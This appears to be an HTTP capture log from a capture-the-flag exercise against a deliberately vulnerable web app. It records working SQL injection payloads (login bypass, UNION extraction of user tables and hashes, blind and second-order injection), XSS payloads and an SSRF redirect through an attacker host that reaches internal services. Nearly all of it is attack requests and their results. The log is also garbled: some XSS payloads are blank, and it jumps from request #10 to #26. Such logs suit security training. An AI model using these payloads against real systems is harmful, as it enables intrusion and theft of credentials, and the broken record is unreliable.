================================================================================ HTTP REQUEST/RESPONSE CAPTURE LOG Target: vuln-webapp.ctf.local (10.10.10.50:8080) Date: 2026-04-07 Captured via: Burp Suite Proxy ================================================================================ --- REQUEST #1: SQL Injection - Authentication Bypass --- =============================================================================== POST /login HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 48 Cookie: PHPSESSID=a1b2c3d4e5f6a7b8c9d0e1f2 username=admin' OR '1'='1' --&password=anything --- RESPONSE #1 --- HTTP/1.1 302 Found Location: /dashboard Set-Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8; Path=/; HttpOnly Content-Length: 0 [NOTE: Authentication bypass successful. No parameterized queries.] --- REQUEST #2: SQL Injection - UNION SELECT Column Enumeration --- =============================================================================== GET /products?category=electronics' UNION SELECT NULL,NULL,NULL,NULL-- HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #2 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 3842 ...
... [NOTE: 4 NULLs returned without error - table has 4 columns.] --- REQUEST #3: SQL Injection - UNION SELECT Data Extraction --- =============================================================================== GET /products?category=electronics' UNION SELECT username,password,email,role FROM users-- HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #3 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 5291 ...
admin$2b$12$LJ3m4yKQd9Zn0GZw8X7kW.h8sPvQm7f1VbqR2N0e6cXz4t5wK9aO6admin@vuln-webapp.localadministrator
jsmith$2b$12$Rt5k7mN8pV3qW2eD1cBxY.g9sQuRn6f2UaqP3M1d5bWy3s4vJ8zN7jsmith@example.comuser
flag_userCTF{sql_union_1nj3ct10n_m4st3r}flag@ctf.localuser
... [NOTE: Full user table exfiltrated including password hashes and a CTF flag.] --- REQUEST #4: SQL Injection - Blind Boolean-Based --- =============================================================================== GET /user/profile?id=5 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='$' HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #4 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 2104 ...

User Profile

Name: Test User

...
... [NOTE: Profile displayed = condition TRUE. First character of admin password is '$'.] --- REQUEST #5: SQL Injection - Blind Boolean-Based (False Condition) --- =============================================================================== GET /user/profile?id=5 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #5 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 1287 ...

User Profile

No user found.

... [NOTE: "No user found" = condition FALSE. Confirms blind boolean injection works.] --- REQUEST #6: SQL Injection - Time-Based Blind --- =============================================================================== GET /products?category=electronics' AND IF(SUBSTRING((SELECT database()),1,1)='v', SLEEP(5), 0)-- HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #6 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 3102 X-Response-Time: 5.012s [NOTE: Response took ~5 seconds. First char of database name is 'v' (vuln_webapp_db).] --- REQUEST #7: SQL Injection - Time-Based Blind (False Condition) --- =============================================================================== GET /products?category=electronics' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)-- HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #7 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 3102 X-Response-Time: 0.043s [NOTE: Instant response. First char is NOT 'a'. Confirms time-based blind injection.] --- REQUEST #8: Reflected XSS - URL Parameter --- =============================================================================== GET /search?q= HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #8 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 1893 ...

Search results for:

No results found.

... [NOTE: Script tag reflected verbatim in HTML. No output encoding. Reflected XSS confirmed.] --- REQUEST #9: Reflected XSS - Attribute Injection --- =============================================================================== GET /search?q=" onfocus=alert(document.cookie) autofocus=" HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #9 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 2041 ... ... [NOTE: Payload broke out of value attribute and injected event handler.] --- REQUEST #10: Reflected XSS - img Tag Bypass --- =============================================================================== GET /search?q= HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #10 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 1952 ...

Search results for:

... [NOTE: ------WebKitFormBoundary7MA4YWxkTrZu0gW-- --- RESPONSE #26 --- HTTP/1.1 200 OK Content-Type: application/json Content-Length: 98 {"message":"Avatar uploaded","url":"/uploads/avatars/57_profile.svg"} [NOTE: SVG with embedded JavaScript accepted. When served with Content-Type image/svg+xml, the script executes in any viewer's browser context. Stored XSS via file upload.] --- REQUEST #27: SQL Injection - Second Order --- =============================================================================== POST /register HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Content-Type: application/x-www-form-urlencoded Content-Length: 76 username=admin'--&password=test1234&email=attacker@evil.com --- RESPONSE #27 --- HTTP/1.1 302 Found Location: /login?registered=1 Content-Length: 0 [NOTE: Username containing SQL metacharacters stored in database. The injection triggers later when this username is used in a different query (e.g., profile lookup).] --- REQUEST #28: SQL Injection - Extracting Schema Information --- =============================================================================== GET /products?category=electronics' UNION SELECT table_name,column_name,data_type,NULL FROM information_schema.columns WHERE table_schema=database()-- HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #28 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 7834 ...
usersidint
usersusernamevarchar
userspasswordvarchar
usersemailvarchar
usersrolevarchar
sessionssession_idvarchar
sessionsuser_idint
sessionsdatatext
invoicesidint
invoicesuser_idint
invoicesamountdecimal
flagsidint
flagsflag_valuevarchar
... [NOTE: Full database schema extracted. Note the 'flags' table - common in CTF challenges.] --- REQUEST #29: SQL Injection - Extracting the Flag --- =============================================================================== GET /products?category=electronics' UNION SELECT flag_value,NULL,NULL,NULL FROM flags-- HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 --- RESPONSE #29 --- HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 1724 ...
CTF{un10n_s3l3ct_f0r_th3_w1n}
... [NOTE: Flag extracted from dedicated flags table via UNION injection.] --- REQUEST #30: SSRF - Bypassing URL Validation with Redirect --- =============================================================================== POST /api/fetch-preview HTTP/1.1 Host: vuln-webapp.ctf.local:8080 Content-Type: application/json Cookie: PHPSESSID=f9e8d7c6b5a4f3e2d1c0b9a8 Content-Length: 71 {"url":"http://attacker.ctf.local/redirect?target=http://127.0.0.1:22"} --- RESPONSE #30 --- HTTP/1.1 200 OK Content-Type: application/json Content-Length: 156 {"preview":"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6\r\n","status":200} [NOTE: URL validation only checks the initial URL, not redirect targets. Server followed redirect to localhost:22 and leaked SSH version banner. Enables internal network enumeration via open redirect chaining.] ================================================================================ END OF CAPTURE LOG ================================================================================